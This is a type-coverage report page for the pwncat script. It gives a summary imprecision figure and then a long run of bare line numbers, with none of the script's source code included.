pwncat - Type Coverage

Summary from index
File Imprecision Lines
Total 6.04% imprecise 6361 LOC
bin/pwncat 6.04% imprecise 6361 LOC

pwncat

bin/pwncat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
4484
4485
4486
4487
4488
4489
4490
4491
4492
4493
4494
4495
4496
4497
4498
4499
4500
4501
4502
4503
4504
4505
4506
4507
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528
4529
4530
4531
4532
4533
4534
4535
4536
4537
4538
4539
4540
4541
4542
4543
4544
4545
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590
4591
4592
4593
4594
4595
4596
4597
4598
4599
4600
4601
4602
4603
4604
4605
4606
4607
4608
4609
4610
4611
4612
4613
4614
4615
4616
4617
4618
4619
4620
4621
4622
4623
4624
4625
4626
4627
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638
4639
4640
4641
4642
4643
4644
4645
4646
4647
4648
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
4663
4664
4665
4666
4667
4668
4669
4670
4671
4672
4673
4674
4675
4676
4677
4678
4679
4680
4681
4682
4683
4684
4685
4686
4687
4688
4689
4690
4691
4692
4693
4694
4695
4696
4697
4698
4699
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710
4711
4712
4713
4714
4715
4716
4717
4718
4719
4720
4721
4722
4723
4724
4725
4726
4727
4728
4729
4730
4731
4732
4733
4734
4735
4736
4737
4738
4739
4740
4741
4742
4743
4744
4745
4746
4747
4748
4749
4750
4751
4752
4753
4754
4755
4756
4757
4758
4759
4760
4761
4762
4763
4764
4765
4766
4767
4768
4769
4770
4771
4772
4773
4774
4775
4776
4777
4778
4779
4780
4781
4782
4783
4784
4785
4786
4787
4788
4789
4790
4791
4792
4793
4794
4795
4796
4797
4798
4799
4800
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811
4812
4813
4814
4815
4816
4817
4818
4819
4820
4821
4822
4823
4824
4825
4826
4827
4828
4829
4830
4831
4832
4833
4834
4835
4836
4837
4838
4839
4840
4841
4842
4843
4844
4845
4846
4847
4848
4849
4850
4851
4852
4853
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866
4867
4868
4869
4870
4871
4872
4873
4874
4875
4876
4877
4878
4879
4880
4881
4882
4883
4884
4885
4886
4887
4888
4889
4890
4891
4892
4893
4894
4895
4896
4897
4898
4899
4900
4901
4902
4903
4904
4905
4906
4907
4908
4909
4910
4911
4912
4913
4914
4915
4916
4917
4918
4919
4920
4921
4922
4923
4924
4925
4926
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941
4942
4943
4944
4945
4946
4947
4948
4949
4950
4951
4952
4953
4954
4955
4956
4957
4958
4959
4960
4961
4962
4963
4964
4965
4966
4967
4968
4969
4970
4971
4972
4973
4974
4975
4976
4977
4978
4979
4980
4981
4982
4983
4984
4985
4986
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017
5018
5019
5020
5021
5022
5023
5024
5025
5026
5027
5028
5029
5030
5031
5032
5033
5034
5035
5036
5037
5038
5039
5040
5041
5042
5043
5044
5045
5046
5047
5048
5049
5050
5051
5052
5053
5054
5055
5056
5057
5058
5059
5060
5061
5062
5063
5064
5065
5066
5067
5068
5069
5070
5071
5072
5073
5074
5075
5076
5077
5078
5079
5080
5081
5082
5083
5084
5085
5086
5087
5088
5089
5090
5091
5092
5093
5094
5095
5096
5097
5098
5099
5100
5101
5102
5103
5104
5105
5106
5107
5108
5109
5110
5111
5112
5113
5114
5115
5116
5117
5118
5119
5120
5121
5122
5123
5124
5125
5126
5127
5128
5129
5130
5131
5132
5133
5134
5135
5136
5137
5138
5139
5140
5141
5142
5143
5144
5145
5146
5147
5148
5149
5150
5151
5152
5153
5154
5155
5156
5157
5158
5159
5160
5161
5162
5163
5164
5165
5166
5167
5168
5169
5170
5171
5172
5173
5174
5175
5176
5177
5178
5179
5180
5181
5182
5183
5184
5185
5186
5187
5188
5189
5190
5191
5192
5193
5194
5195
5196
5197
5198
5199
5200
5201
5202
5203
5204
5205
5206
5207
5208
5209
5210
5211
5212
5213
5214
5215
5216
5217
5218
5219
5220
5221
5222
5223
5224
5225
5226
5227
5228
5229
5230
5231
5232
5233
5234
5235
5236
5237
5238
5239
5240
5241
5242
5243
5244
5245
5246
5247
5248
5249
5250
5251
5252
5253
5254
5255
5256
5257
5258
5259
5260
5261
5262
5263
5264
5265
5266
5267
5268
5269
5270
5271
5272
5273
5274
5275
5276
5277
5278
5279
5280
5281
5282
5283
5284
5285
5286
5287
5288
5289
5290
5291
5292
5293
5294
5295
5296
5297
5298
5299
5300
5301
5302
5303
5304
5305
